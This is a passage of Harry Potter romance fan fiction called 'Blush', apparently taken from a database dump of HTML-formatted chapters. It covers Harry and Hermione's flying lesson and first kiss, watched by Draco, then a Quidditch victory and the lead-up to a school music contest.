\nhands on the broom\'s handle, smelling her sweet gingery Hermione smell mingled \nwith the scent of unfamiliar musty practice robes. He moved his hands down to \nher waist, making sure she was sitting straight on the broom, and felt her \nflinch slightly beneath the thick robes. Merlin\'s beard. Focus, Harry, focus. \nHarry felt like he\'d swallowed twenty fluttering Snitches. He scrambled from \nHermione\'s broom, where she was now seated in a perfect pose, looking as frozen \nas a suit of armor in the entrance hall, and six times more nervous. Where was \nhis broom? He\'d be able to think straight again if he was on his broom. \n<br><br>In half a minute Harry was straddling his Firebolt, his head clearing as \nhe gripped the shiny handle. &quot;Now watch me,&quot; he said, and kicked off slowly, \nsoaring once around Hermione before landing gently on the field beside her. \n<br><br>After a few shaky starts, Hermione was airborne. Gripping the handle of \nher Nimbus so tightly that her knuckles were white, she was gliding slowly \nthrough the air six feet above the pitch, her forehead furrowed with \nconcentration. She\'s got to do everything perfectly, Harry thought, grinning to \nhimself as he flew alongside her, watching as she carefully turned her broom to \ncircle the field. How <i>totally</i> Hermione. <br><br>&quot;Good,&quot; he told her, \nmatching her pace, then leading her in a series of slow turns. &quot;You\'re doing \nreally well.&quot; <br><br>&quot;Am I?&quot; Hermione said breathlessly. Her face was glowing, \nher cheeks rosy from the cold, and she beamed at him as if he\'d told her she had \njust been named Head Girl. Harry\'s heart surged. <br><br>&quot;Yeah, you\'re doing \ngreat.&quot; <br><br>&quot;Do you know,&quot; breathed Hermione, guiding her broom in a figure \neight, &quot;this is fun!&quot; <br><br>&quot;I do know,&quot; Harry grinned. <br><br>Three laps \nlater, Hermione was a dramatically transformed flyer. With each successive \ncircle around the pitch, and with Harry\'s coaching, she had gained in \nconfidence. She had gradually loosened her white-knuckled grip on the Nimbus and \nwas beaming with pride as she urged the broom to a slightly faster speed each \ntime around. <br><br>&quot;I was too scared to do this before!&quot; she told him \nexcitedly as they flew higher to circle one of the goalposts. <br><br>&quot;You\'re in \nGryffindor for a reason,&quot; Harry said, leading them both towards the ground \nagain. &quot;You\'re braver than you think. Ready to try this with a few of the balls \nout?&quot; <br><br>&quot;Bludgers?&quot; said Hermione anxiously. <br><br>&quot;No, not yet. Quaffle \nand Snitch.&quot; <br><br>&quot;All right then!&quot; <br><br>Harry dropped to the ground and \nopened the case of Quidditch balls, releasing the tiny golden Snitch first, \nwhich flew once around his head like an affectionate pet bird before flashing \noff into the sky. He took out the Quaffle and kicked off again, matching \nHermione\'s pace as she flew slowly above the field. Soon, they were gliding back \nand forth across the pitch, tossing the Quaffle back and forth; Hermione picked \nthis up so aptly that Harry was able to show her some of the moves he had \nplanned for the team\'s next practice, and some he\'d learned in Quidditch camp, \nwhich she slowly and doggedly attempted. Both of them were grinning broadly as \nHermione successfully demonstrated the the last of the practice moves after a \nthird wobbly try. <br><br>Suddenly, Hermione gave a cry. She dropped the Quaffle \nas if it was on fire and pointed wordlessly to a spot somewhere behind Harry\'s \nleft shoulder. He whirled around on his broom. The Snitch was hovering right \nabove the goalpost closest to them, a tiny gold sparkle in the morning light. \nHermione was staring at it fixedly, her eyes wide. <br><br>&quot;Should we get it?&quot; \nshe said tentatively. <br><br>&quot;You can try for it,&quot; Harry smiled. &quot;Go on.&quot; \n<br><br>Hermione looked back at him, her face a mask of determination. &quot;All \nright,&quot; she said gravely. Without warning she bent low over her broom, and in a \nburst of speed that almost knocked Harry sideways, she shot towards the Snitch \nlike a bullet. <br><br>Harry goggled. This was the absolute last thing he\'d \nexpected; he\'d thought she would go after the Snitch slowly so she could aim and \nhave a chance at catching it. But it was so like Hermione to immerse herself in \nsomething completely, with a single-minded focus -- though he\'d never imagined \nQuidditch would fall into that category. He watched in disbelief as she hurtled \ntowards the Snitch like a rocket, weaving slightly as if unused to the great \nspeed. <br><br>Harry shook himself. She\'d never catch it at that pace; this was \nher first time flying so fast. He gunned his Firebolt forward, pelting towards \nthe goalpost and the Snitch. What if she veered off course and crashed into the \nstands? He\'d have to be there if she faltered. <br><br>The world sped into a \nblur as Harry flattened himself to the broom handle and urged the Firebolt \ntowards Hermione, who was still zooming towards the Snitch. Suddenly, in a \nflutter of wings, the golden glint at the goalpost was gone. Harry blinked. \nHermione must have seen it too, because she quickly changed course. \n<br><br>Straight down. <br><br>The bottom fell out of Harry\'s stomach. Hermione \nwas going into a dive. <br><br>Harry could barely think. He shot towards the \nground, his Firebolt gaining speed as he strained to see what Hermione could \npossibly be doing. And then he saw it. The Snitch was zipping quickly towards \nthe grass, and Hermione was barely a foot away from it, her eyes focused on the \ntiny golden ball. <br><br>She\'s going to crash, Harry thought. His insides gave \na sickening lurch. She can\'t see where she\'s going, she\'s just watching the \nSnitch, she doesn\'t know how to orient herself -- <br><br>In a heartbeat he was \nalongside her, the ground hurtling towards them faster and faster, Hermione\'s \neyes still fixed on the golden Snitch flitting tantalizingly out of reach. \n<br><br>&quot;Hermione!&quot; Harry yelled, the wind whipping the words out of his mouth. \n&quot;STOP!&quot; <br><br>Harry\'s yell shook Hermione like a bolt of lightning. She \nblinked and seemed to realize for the first time that she was rocketing \nearthward. She gasped and clung to the Nimbus. &quot;Harry!&quot; <br><br>&quot;Pull up!&quot; Harry \nshouted, mentally counting the seconds before they hit the ground. He had to act \nfast. He drew closer to her, their brooms dangerously close to colliding. \n<br><br>&quot;I can\'t!&quot; Hermione gasped. She was now straining hard at the handle of \nher Nimbus, but the force of the fall was too great, and the Nimbus seemed \nlocked into its path. <br><br>Harry lunged forward and grabbed Hermione with one \narm. Gripping his Firebolt between his knees, he let go of his broom handle with \nhis other hand and wrenched the Nimbus upward with all his strength. Hermione \nshrieked as the broom flew from her grasp and pitched her sideways into Harry; \nit shot away, riderless, tumbling end-over-end. Harry gripped Hermione tightly, \nswaying as her broom fell away, and grabbed his Firebolt again with his free \nhand. The ground was only feet away. Harry strained against the Firebolt\'s \nhandle and pulled with everything he could muster. The grassy field suddenly \ngave a great lurch as the world righted itself. Harry had wrenched the Firebolt \nout of its nosedive half a breath before they would have slammed into the \nground. They tumbled harmlessly onto the field in a tangle of limbs and \nQuidditch robes as Harry\'s arms suddenly gave out from the effort. <br><br>Harry \nopened his eyes. His vision was blurry; his glasses must have fallen off. He was \nstill gripping Hermione tightly around her waist. He shifted his arms and legs \ngingerly; nothing seemed broken. Hermione\'s face was buried in his chest, her \nrobes muddy with grass stains. Harry tried to speak but got a mouthful of brown \ncurls; he brushed them aside and stroked her head gently. <br><br>&quot;Hermione?&quot; he \nsaid softly. Answer, please answer. <br><br>To his great relief Hermione moved, \ntilting her head up to his and blinking. One of her cheeks was red and streaked \nwith dirt from the pitch, but the scrape wasn\'t bleeding. She was breathing in \nragged gasps. <br><br>&quot;You alright?&quot; Harry said, not daring to move in case she \nwas hurt. <br><br>Hermione wriggled her legs, then nodded. Harry\'s eyes stung; \nhis entire body felt weak with relief. &quot;Good,&quot; he said huskily. <br><br>&quot;Oh \nHarry -- &quot; Hermione began, her eyes filling with tears. <br><br>And then it \nhappened. <br><br>Harry never knew what forces posessed him at that moment. All \nhe knew was that his entire universe had become that Quidditch pitch, and his \nwhole world had become the girl in his arms, his best friend, who was stubborn, \nand brave, and smart, and loyal, and unlike anyone else he\'d ever known. And \nmiraculously, she was not hurt, or dead, as Harry had anticipated with terror \nfor the ten horrible seconds of their dive, and he had to show her how he felt \nsomehow, he had to tell her everything, everything he\'d been feeling since that \nfirst moment he saw her on Platform Nine and Three Quarters and his entire life \nhad turned upside down. <br><br>Harry ran a hand gently through Hermione\'s \ntangled curls, tipped her face to his, and kissed her. <br><br>It was like \nnothing Harry had ever experienced in his life. <br><br>Hermione froze, shocked, \nand then, to his great astonishment, sank into the kiss, and his entire body was \nswept with waves that felt like fire and lightning, floo powder and fireworks, \nbutterbeer and pink bubble bath. Harry was barely aware that they had rolled \nover and his Firebolt was now jammed into his knee and the grass was soaking \nthrough their tangle of robes and he heard a crunch that sounded suspiciously \nlike his glasses, because he was somewhere else, he was home at last, he was \nkissing Hermione -- <br><br>He was kissing Hermione. <br><br>His eyes flew open. \nHermione had apparently heard the crunch of his glasses, because she was \nstruggling upright, her hair pulled halfway out of her ponytail in a wild \ntangle, and fumbling through their practice robes. A few seconds later she \npulled Harry\'s glasses from the grass near his left elbow. Harry\'s vision was \nblurred, but he could tell that both lenses were shattered. Hermione pulled her \nwand out of a pocket under her robes and touched it to the glasses. \n<br><br>&quot;Oculus Repairo,&quot; she said softly. <br><br>There was a quiet &quot;fwip&quot; as \nHarry\'s glasses magically reassembled themselves. Harry was suddenly a \nfrightened first-year on the Hogwarts Express, staring open-mouthed at Hermione \nas she pointed a wand right between his eyes and fixed his broken frames. That \nwas the first time he\'d ever met her. <br><br>Hermione handed Harry his glasses \nand he put them back on. Hermione was flushed and muddy, her eyes unnaturally \nbright as she then handed him his Firebolt, which looked unscathed but was \nplastered with wet grass. <br><br>There was a very long silence. <br><br>&quot;You\'re \n-- you\'re okay then,&quot; said Harry. He felt numb, but his entire body was \ntingling. His brain kept repeating the same three little words. I kissed \nHermione. I kissed Hermione. I kissed -- <br><br>&quot;I -- think so,&quot; said Hermione \nblankly. <br><br>There was another long silence. <br><br>&quot;I\'m s-sorry about the \nSnitch,&quot; Hermione said quietly. <br><br>&quot;Oh no, no, it\'s okay,&quot; said Harry \nvaguely. Thoughts were creeping back into his head now, flashes of what had just \nhappened, of Hermione darting after the Snitch, plummeting towards the ground -- \n&quot;I just didn\'t expect you to really go after it, is all.&quot; <br><br>Hermione \nflushed scarlet. &quot;I guess I just thought -- I mean, I\'ve watched you so many \ntimes -- &quot; <br><br>Harry was struck by a sudden realization that was funny and \ntouching at the same time. Hermione had gone to all his games, and watched him \nfly, and she thought -- <br><br>&quot;You thought that\'s the only way to go for a \nSnitch?&quot; he said slowly, his face breaking into a smile. &quot;Take off like a \nrocket?&quot; <br><br>Hermione started to laugh in spite of herself. She shifted \nagain, as if to stand, and suddenly gasped, forcing one hand down her sleeve and \npulling it out again quickly, something tiny and golden clutched in her fingers. \n<br><br>Harry caught his breath; Hermione opened her hand. The Snitch was \nbalanced lightly on her palm, fluttering its wings. <br><br>&quot;Well, it worked,&quot; \nHermione said with a crooked smile. <br><br>The tension dissapated with a rush \nlike air shooting from a punctured balloon. Both of them dissolved into \nlaughter. Harry, still unable to think straight, climbed unsteadily to his feet \nand dusted off his robes, then offered a hand to Hermione, who took it and \nallowed him to help her up. I kissed Hermione, he thought again stupidly. Harry \nnoticed with a start that his hand was shaking. Hermione\'s hand was shaking too. \n<br><br>&quot;I suppose we\'d better get cleaned up,&quot; Hermione said, a tremor still in \nher voice. &quot;Where\'s my broom?&quot; <br><br>&quot;Oh, right,&quot; said Harry distractedly, \ntaking his wand from his pocket. It had thankfully not been crushed. Harry often \nwondered whether wands were especially resilient to their owners\' collisons and \naccidents; his own had certainly survived more violence than most. &quot;Accio \nNimbus!&quot; he said firmly. They squinted across the field as a tiny object flew \ntowards them, growing larger as it zoomed into view. It was the Nimbus, none the \nworse for wear except for a few bent twigs. <br><br>The two of them walked \nslowly back across the field with their broomsticks over their shoulders. Harry \nfelt dizzy and bruised and elated and terrified, his arms beginning to ache \nsharply from his efforts, his lips still tingling with the afterglow of \nHermione\'s, his heart pounding like a jackhammer. They talked on the way back to \nthe castle, but when he thought about it later Harry couldn\'t say what they had \ntalked about. He just knew neither of them spoke about what had happened. I was \njust relieved she was alive, Harry thought, it was instinct, it was a \nspontaneous reaction, she probably knows that\'s what happened -- <br><br>But it \nwasn\'t true. Kissing Hermione felt more right than anything he\'d done all year, \nalmost anything he\'d done in his life. Maybe only flying came close to the \nsensation. <br><br>Harry barely knew how he made it into the shower in the boys\' \ndormitory. He stood for a long time under the steaming blast of water, face \nupturned to the spout, eyes closed, remembering. <br><br>~ ~ ~ ~ ~ <br><br>A \nfigure in dark green robes was staring out across the Quidditch pitch. In the \ncold dawn he\'d walked across the grounds, silent as usual, noting with surprise \nthe twin set of footprints leading the way to the Gryffindor locker room. At \nthis hour, there was usually only one set. <br><br>He\'d cracked open his own \nlocker room door soundlessly. If he was quiet, he\'d be able to watch his rival \nteam\'s captain practicing new moves. He liked to pride himself in knowing every \ndetail about his enemy. <br><br>But the scene that had met his eyes when he slid \nthe door open was nothing he\'d ever expected. <br><br>Potter was with \n<i>Granger</i>. Granger, that bushy-haired, bucktoothed, insufferable \nknow-it-all. She\'d returned this year as a lovely insufferable know-it-all, \ntruth be told, but she was still... Granger. <br><br>And they were both flying. \nDraco stared as the Gryffindor captain, the best damn seeker in the school, \nprobably one of the best seekers ever to hold a broom -- no use pretending -- \nglided alongside his friend patiently as if his broom had training wheels. This \nwas not normal. Harry was usually flying hard at this time in the morning, \ngunning that Firebolt around the field as if attempting to break the sound \nbarrier. Draco rubbed his eyes. He wasn\'t hallucinating. <br><br>And the look on \ntheir faces -- good lord, it was disgusting, but it was also -- Draco shuddered. \nIt was sweet. Potter and Granger were beaming as if their lives depended on \nfollowing each other around the blasted pitch. And knowing them, Draco thought \nwryly, they\'re too bloody clueless to realize anything. Draco noted with \nsatisfaction that this would be excellent ammunition the next time he \nencountered the Terrible Trio in the halls. He knew what that look meant, that \npuppy-dog smile. He\'d seen other people look at each other that way, but it was \nusually after a late night in a club, after ingesting certain pills, and those \npeople most often ended up in a mess of sheets with clothing thrown all over the \nroom, and -- well, he wouldn\'t know anything about <i>that</i>. Draco grinned. \n<br><br>But what -- Draco started. What in nine hells -- <br><br>Granger had \nsped off towards one end of the field, clearly shaky on her broomstick, heading \nfor one of the goalposts. And Potter had shot after her a few seconds later. \n<br><br>Draco watched in disbelief as the two robed figures neared the goalposts \nand then suddenly dove for the ground at a breakneck speed, one after the other. \nHis heart stopped. <br><br>I mean, Draco thought absently as he gripped his own \nbroom handle in terror, Potter\'s a complete ass, but it\'s not like I want him to \ndie or anything. Life would be so much less fun. <br><br>Though it looked like \nPotter and Granger were giving death their best shot at the moment. Draco threw \nopen the door of the Slytherin locker room as Harry and Hermione dove perilously \ntowards the field, but it was too late. He\'d never reach them in time. The two \nGryffindors were half a breath from hitting the ground, but Harry -- \n<br><br>Draco stared. Harry was grabbing Hermione, he had both hands off his \nFirebolt, he was flinging her broom away at an impossible angle, he had \n<i>pulled her onto his broom</i> -- <br><br>Draco felt his knees go weak as the \nthe two figures, so close to the ground, veered sickeningly upright on Harry\'s \nbroom and then tumbled onto the field. Impossible. Only Potter, Draco thought, \nrealizing he had broken into a cold sweat. Only Potter could have -- \n<br><br>What happened next was even more shocking. <br><br>Draco stepped back \ninto the dark locker room and closed the door, leaving it open a few inches. He \nran a hand through his blonde spikes, grinning to himself. <br><br>Apparently \nPotter wasn\'t as clueless as he\'d thought. <br><br><br><br>* * * * * \n<br><br>They did it! They did it! :) Acknowledgements, which I\'ve been \nforgetting to add... Thanks, reviewers of Chapter 4! Your reviews have been \ngreat: Lily Vance, GoldenSnitch, Griffon, Cheddar, Carla, Lauren, Erin, Ashley, \nSir Eric, Miuccia, Water-Lily, Dracella, Sylph, Aphrodite, and Avaka. Thanks \nalso to all the folks on board the good ship H/H! Stay tuned... <br><br>= the \nchapter has now ended = <br><br>Review! \n\n'),
	(71, 6, '\n\n\nTitle: Blush<br>Author: Granger<br>Author Email: ali_granger@yahoo.com<br>Category: \nRomance, Humour<br>Keywords: Harry, Hermione, Ron, Quidditch, Fifth \nYear<br>Spoilers: All four books<br>Rating: PG-13<br>Summary: Harry returns from \na summer at Quidditch Camp to find his best friends... transfigured. Love, lust, \nmagic, and music abound. And we always knew Draco was a rock star.<br>Pairings: \nH/H, Ron/Other, maybe more...<br>Author\'s note: <br><i>Chapter 6</i>: This was a \nvery difficult chapter to write, which is why it took such a long time. \nUnfortunately I\'m not too fond of it, but hopefully I have just been looking at \nit for too long. Please bear with me, I have no betas!<br><i>General Notes</i>: \nAll music quoted in this story is highly recommended for listening while \nreading. This story is dedicated to anyone who\'s ever fallen for their best \nfriend. And to the folks aboard the HMS Pumpkin Pie.<br><br>Disclaimer: This \nstory is based on characters and situations created and owned by JK Rowling, \nvarious publishers including but not limited to Bloomsbury Books, Scholastic \nBooks and Raincoast Books, and Warner Bros., Inc. No money is being made and no \ncopyright or trademark infringement is intended. <br><br>* * * * * <br><br><i>i \nkeep falling over i keep passing out when i see a face like you<br>what am i \ncoming to?<br>i\'m gonna melt down</i><br><br>-- &quot;Black Star,&quot; Radiohead \n<br><br><br><br><b>Blush : Chapter Five</b> <br><br>Gryffindor beat Hufflepuff \ntwo hundred to zero that Saturday morning, but Harry hardly noticed. \n<br><br>Never mind that it was his first game as Captain, his first match since \nQuidditch Camp, his first time playing on the team with Ron. Harry didn\'t think \nhe\'d have cared if he was playing against a team of Death Eaters with a \nHungarian Horntail as the opposing Seeker. For the past week he\'d only been able \nto think about one thing, and one thing only. <br><br>Her name was Hermione. \n<br><br>And she was his best friend, and he\'d kissed her after watching her \nalmost dive to her death on a broomstick. It had been one hell of a dive. And, \nincidentally, it had been one hell of a kiss. Neither of which they had \nacknowledged since. <br><br>Instead, for all appearances their life had been \nperfectly normal, the two of them continuing their daily routine at the library, \nheads bent together over books and parchment, acting for all the world as if \nnothing had happened. Except that Harry felt anything but normal. The closest \nhe\'d come to feeling like this before had been during the third task of the \nTri-Wizard tournament, when he\'d walked through golden mist to find the world \nturned upside down. But in the Maze, that sensation had only lasted a few \nminutes, until he had managed to take a step forward. He felt like that all the \ntime now, like he was floating through a waking dream where gravity was \nmalfunctioning slightly, as if he was revolving on a slow and wobbly course \naround the distant sun that was Hermione. <br><br>Harry was vaguely aware that \nhe\'d left the locker room that morning, that he\'d walked onto the field to shake \nhands with Justin Finch-Fletchley, that he\'d called his team together, that he\'d \ntold them -- something -- and that Madam Hooch had blown the whistle. His life \nregained a few moments of brilliant clarity as he flew up into the air scouting \nfor the Snitch, his mind focused for ten breathless minutes on the Snitch and \nthe Snitch alone. In those ten minutes Alicia and Angelina scored twice each, \nand Ron managed to get three determined shots on goal before scoring his first \npoints for Gryffindor. <br><br>Then Harry had spotted the Snitch, hovering \ndreamily in the morning sunshine near the Ravenclaw bleachers, and he had shot \ntowards it without thinking. He caught the Snitch with a move that felt as easy \nas breathing, as instinctive as a sneeze. The game was over before it had really \nstarted, and Harry was touching down on the field again as his teammates piled \nonto him, barely noticing their yells as his life slipped back into its usual \ndreamlike state. He was searching the stands for one person, the only person \nwhose cries of victory he needed to hear, and suddenly she was crushing him into \na hug before he realized what was happening. Then she was breaking free to hug \nRon, who gave a great whoop, picked her up, and swung her around. <br><br>&quot;Did \nyou see?&quot; Ron beamed as he set a gasping Hermione back onto her feet. \n<br><br>&quot;Y-yes,&quot; she panted, attempting to catch her breath. &quot;That was \nmarvelous, Ron. Your first goal! And Harry -- &quot; She looked up at Harry, her eyes \nshining. &quot;That was quite a move you made for the Snitch. I\'ve never seen anyone \ncatch it so fast.&quot; <br><br>Harry\'s heart did a flip. &quot;Oh, um. Thanks,&quot; he said, \nattempting to wipe the sweat from his forehead with a faded Gryffindor team \ntowel, and trying not to grin quite so broadly. <br><br>A blonde blur wearing a \nred and gold scarf and a blue Ravenclaw sweater suddenly shot from the crowd and \nwrapped her limbs completely around Ron. <br><br>&quot;Oooh RON!&quot; Emma shrieked, as \nRon staggered slightly. &quot;You were just amazing! Really, really amazing!&quot; She \nflung her arms around Ron\'s neck with reckless abandon, stood on her tiptoes, \nand planted a deep kiss on his lips. <br><br>Harry glanced down at Hermione, who \nlooked distinctly uncomfortable. She looked up at Harry and rolled her eyes. \n<br><br>Well, thought Harry with a note of mild wonderment, at least I\'m not the \nonly one who\'s grown a bit tired of the All-Emma, All-The-Time Show. He felt a \nsudden surge of affection for Hermione, at the way she always seemed to be tuned \ninto the odd wavelength of his own thoughts -- and felt the color rising in his \ncheeks. Bloody hell, not again. Couldn\'t he just get <i>used</i> to his knees \ngoing weak every ten minutes in Hermione\'s presence? He could almost set his \nwatch by it, and yet every single time his cheeks turned the color of overripe \ntomatoes. <br><br>&quot;Oi! Harry! Ron!&quot; Fred Weasley\'s red head could be seen \nthrough the crowd; he was beckoning to them. &quot;Party in the common room, did you \nwant to stand around on the field all day?&quot; His expression changed when he saw \nwhat was occupying Ron. &quot;Ron Weasley, lay off the Romeo act, you silly git!&quot; \n<br><br>Ron turned red to the roots of his flaming hair and attempted to extract \nhimself from Emma\'s embrace as Fred broke through the crowd to impatiently tug \non his sleeve. <br><br>&quot;But Ron,&quot; she protested. &quot;We were going to have a party \nfor you in the Ravenclaw common room.&quot; <br><br>Ron looked tremendously guilty; \nHarry\'s insides gave a squirm. <br><br>&quot;The party won\'t last all day, Emma&quot; he \nfound himself saying. &quot;Ron\'ll have time to come to Ravenclaw.&quot; <br><br>Ron shot \nHarry a grateful glance as Emma\'s face brightened. &quot;Yeah, Emms, I\'ll see you in \na few hours,&quot; he said quickly. <br><br>As Emma dashed back to her cluster of \nstarry-eyed Ravenclaw girls, Harry found himself alone at last with Ron and \nHermione. The three of them fell silent. <br><br>It seemed like years since \nthey\'d been alone together, just the three of them. Harry\'s stomach twisted \npainfully. He\'d never have imagined that a moment alone with Ron and Hermione \nwould become a precious rarity. And now, together at last with his two best \nfriends in the world, he couldn\'t believe how little they knew about what was \ngoing through his head at the moment. He\'d never imagined that there would be \nthings he couldn\'t tell Hermione, that there would be a time Ron wouldn\'t know \nexactly what he was thinking. <br><br>There was <i>so much</i> Ron didn\'t know. \n<br><br>Ron shifted and shouldered his broom. Hermione looked up at him. Both of \nthem looked as uncomfortable as Harry felt. <br><br>&quot;Best get back to the common \nroom,&quot; Ron said. &quot;It\'s your first victory party as Captain, Harry.&quot; \n<br><br>&quot;Yeah,&quot; Harry said. His voice sounded like it was coming from a long way \naway. &quot;It\'s your first victory party as well, y\'know.&quot; <br><br>Ron nodded and \ngave Harry a wistful half-smile. He stepped forward and put one arm around \nHarry\'s shoulders, and looped his other arm through Hermione\'s. <br><br>&quot;Well \nthen, boss,&quot; he said, &quot;I think it\'s time to celebrate.&quot; <br><br>And the three of \nthem moved slowly across the field, Harry\'s mind whirling, feeling a bit like \nhe\'d stepped into the green flames of the Floo network and forgotten to stop at \nhis destination. <br><br>~ ~ ~ ~ ~ <br><br><i>Dear Sirius, I hope you\'re doing \nwell. My scar hasn\'t hurt yet this term, and no one\'s tried to kill me yet, \nwhich has to be some sort of new record. I can only assume it\'s because of the \nwork you\'re doing with the Aurors -- Dumbledore hasn\'t told me much, but I know \nyou must be involved. Anyway, I hope this isn\'t a bother, but I have something I \nneed to ask you -- </i><br><br><i>Dear Sirius, How\'s it going? I was wondering \nif I could ask -- </i><br><br><i>Dear Sirius, I have a quick question. You see, \nI have this friend, and he may be in love with his best friend, and I was hoping \nto get your opinion -- </i><br><br><i>Dear Sirius, I -- </i><br><br>Harry \nscowled, crumpled his piece of parchment, and tossed it into his open trunk, \nwhich was already littered with the discarded beginnings of at least a dozen \nletters. Hedwig, perched atop his four-poster bed, hooted in annoyance, sensing \nthat she would once again be deprived of a delivery. <br><br>Harry had attempted \nto Owl his godfather countless times in the past few weeks, but writing down his \nfeelings had never been his strong suit, to put it mildly. Sirius was travelling \nthe continent with a small force of Aurors fighting against the newly risen Dark \nLord, and Harry couldn\'t bring himself to bother Sirius with such a seemingly \ninsignificant problem as a kiss. <br><br>On top of that, it looked as if talking \nwith Ron was near hopeless. It may have been dawning on Ron that his presence at \nHarry and Hermione\'s side was sorely missed, but it didn\'t seem that Ron himself \nhad any power to change things. Whenever Harry was alone with Ron after a class, \nafter Quidditch practice or after band rehearsal, Emma would mysteriously appear \nwithin a matter of moments with the uncanny punctuality of a barn owl delivering \nthe morning\'s Daily Prophet. She seemed to know every minute of Ron\'s haphazard \nschedule by heart, right down to the routes he took from class to class, and his \npreferred choice of restroom (third floor, next to a portrait of a wizard in \nhunting robes and his two spotted dogs who wagged their tails at passers-by). \nHarry knew Ravenclaw girls were smart, but he couldn\'t quite believe Emma\'s \naptitude for second-guessing Ron, who always seemed both pleased and bewildered \nto see her. <br><br>Tonight was the Yule Ball contest, the night before the \nHalloween Feast, and the fading light outside the dormitory window meant that \nthe contest would soon be starting. Harry abandoned his latest attempt at a \nletter (<i>Dear Sirius, I kissed my best friend -- no, it wasn\'t Ron --</i>) and \nmuttered an apology to Hedwig, who settled on his shoulder and nipped his ear \naffectionately before taking flight into the darkening sky. Shrugging off his \nschool robes, Harry groped for a clean shirt and jeans underneath the pile of \ncrumpled letters in his trunk and quickly pulled them on. He\'d brought his bass \ndown from the music wing after their practice that morning, and he slung the \ncase over his shoulder, glancing in the hall mirror as he headed for the spiral \nstaircase to the common room. His jet-black hair was as untidy as ever, and the \ngreen eyes that looked back at him from behind round glasses were ringed in dark \ncircles. &quot;Get some sleep, will you?&quot; scolded the mirror. <br><br>Harry had been \ntoo preoccupied with other things -- well, Hermione, really -- to be nervous \nabout the contest, but as he entered the Great Hall he felt a sharp pang of \nanxiety settle in his stomach. The house tables were gone, replaced by row upon \nrow of purple folding chairs. A golden stage stood where the faculty table \nusually did, at the far end of the hall, and a long table was in front of the \nfirst row of seats. A few professors were already seated at the long table; most \nof the school was filing in and milling about amongst the purple chairs. A \nbanner hung above the stage which read in flowing gold script, &quot;Hogwarts First \nAnnual Yule Music Contest.&quot; As Harry stared, the gold script began to rewrite \nitself until the banner now read, &quot;Contestants Please Report to the Gold Door.&quot; \n<br><br>Harry blinked. The door at the back of the Great Hall, which lead to the \nroom he\'d seen after his name was pulled out of the Goblet of Fire, was now a \nshimmering golden color. He shouldered his bass, which gave him a muffled mental \n&quot;ouch!&quot; and began to push his way through the crowd and towards the golden door \nat the back of the hall. <br><br>When Harry opened the golden door he almost \nslammed it shut again. A wave of chaotic noise assaulted him like a blast from \nthe end of a Skrewt. The room behind the Great Hall, so elegant and quiet when \nhe\'d last seen it as a Tri-Wizard Champion, was packed to bursting with students \nand bizarre-looking instruments. Trails of random spells were flying everywhere \nas the contestants warmed up, tuning their instruments and casting last-minute \nmusical incantations. Harry ducked to avoid a stray blast of pink sparks from \nthe end of a Hufflepuff girl\'s tuba and scanned the room for Ron, Neville, and \nGinny. He finally spotted them huddled together in chairs on one side of the \nroom\'s ornate fireplace and made his way over to them. <br><br>Neville looked a \nwreck. He was fidgeting distractedly with a polishing cloth, not seeming to \nnotice that he was no longer shining his Flanimus, but was now rubbing a hole in \nthe knee of his trousers. Ginny looked distinctly pale under her bright hair and \nwas twirling her drumsticks nervously. Ron was -- Harry couldn\'t quite believe \nit. Ron Weasley, who Harry had always assumed would rather hang upside down over \na cage of spiders than get up in front of the school, seemed perfectly relaxed. \nIn fact, thought Harry, Ron seemed even happier than usual, as if the thought of \na public performance was a pleasant thing, not, as Harry imagined, a humiliation \nto be endured. <br><br>It\'s not humiliating, said a dry voice in his head. Now, \nyou want humiliating, I\'ll see if I can arrange something -- <br><br>Thanks, but \nI\'m quite all right, Harry thought quickly. He and his bass were on more \nfamiliar terms now; Harry wasn\'t sure if this was a good thing or not. \n<br><br>I\'ve gotten up in front of this school far too many times already, \nthought Harry. Doesn\'t make it any easier. <br><br>I don\'t know why you young \nwizards insist on making everything such a struggle, said the bass. Take that \ngirl, for instance. Your friend. Hermione. Now, if you\'d only realize -- \n<br><br>I do <i>not</i> want to talk about Hermione right now! <br><br>&quot;Harry, \nyou made it!&quot; Ron was standing to clap Harry on the back before Harry had a \nchance to further reprimand his bass. <br><br>&quot;Yeah,&quot; said Harry. We\'ll finish \nthis later, he thought. &quot;Quite a scene, really. I wasn\'t expecting -- &quot; \n<br><br>&quot;Isn\'t it great? Look at <i>this</i>!&quot; Ron motioned to the huge mirror \nthat hung over the fireplace. Harry had noticed it before, but had never really \ngiven it a second glance. Now, craning his neck to look into it, Harry was \nstartled to see that his own image wasn\'t staring back at him. In fact, the \nmirror didn\'t seem to be reflecting anyone or anything in the crowded chamber; \ninstead, in its glassy depths, Harry could see a vast, empty floor -- and a \nsingle golden door. <br><br>&quot;Is that -- the <i>Great Hall</i>?&quot; said Harry, \nflabbergasted. <br><br>&quot;The mirror\'s enchanted to show us the stage,&quot; grinned \nRon. &quot;So we can watch the contest while we wait to be called.&quot; <br><br>&quot;Nice bit \nof magic,&quot; Neville squeaked, twisting his polishing rag into a tight knot. \n&quot;Hullo Harry!&quot; <br><br>&quot;Hi, Neville,&quot; said Harry. &quot;Doing all right?&quot; <br><br>&quot;I \nthink so,&quot; said Neville, his voice breaking slightly. <br><br>Harry started as a \nhand squeezed his shoulder from behind. <br><br>&quot;Hello everyone,&quot; said Hermione \nbreathlessly, emerging from the crowd to stand beside Harry. Harry\'s knees went \nweak. He was simultaneously overcome by a sense of relief and an attack of the \nall too familiar Good-Lord-It\'s-Hermione butterflies. <br><br>&quot;\'Lo, Hermione,&quot; \nHarry managed. Ginny was beaming at Hermione happily. <br><br>Oh, this is so \nsilly, said the dry voice. If you\'d just listen -- <br><br><i>Will you shut \nit?</i> Harry was rapidly losing patience. I\'m a wizard. You\'re a piece of wood. \nDoes the word <i>Incendio</i> mean anything to you? <br><br>&quot;Something wrong?&quot; \nHermione was peering up at Harry with a look of concern. Harry realized he was \nscowling and quickly shook his head. <br><br>&quot;No, no, I\'m fine. Just a bit \ndistracted.&quot; <br><br>Just trying to help, said the dry voice. It sounded miffed. \n<br><br>Sorry, Harry thought, feeling an immediate pang of regret. I\'m just sort \nof... It\'s kind of complicated. <br><br>S\'alright, said the voice. I like you. \nYou\'re not the most musical wizard I\'ve ever encountered, but you\'re honest. \n<br><br>Thanks. <br><br>\'Course, it does help that you\'ve got enough magic in \nyou to power a large orchestra. <br><br>Harry grinned. <br><br>&quot;How\'d you get \nback here, Hermione?&quot; Ginny had moved to Hermione\'s other side and hooked an arm \nthrough hers. &quot;I thought this was supposed to be contestants only.&quot; <br><br>Ron \nlooked up from his guitar, which he was testing with last-minute tuning spells, \nand seemed to notice Hermione for 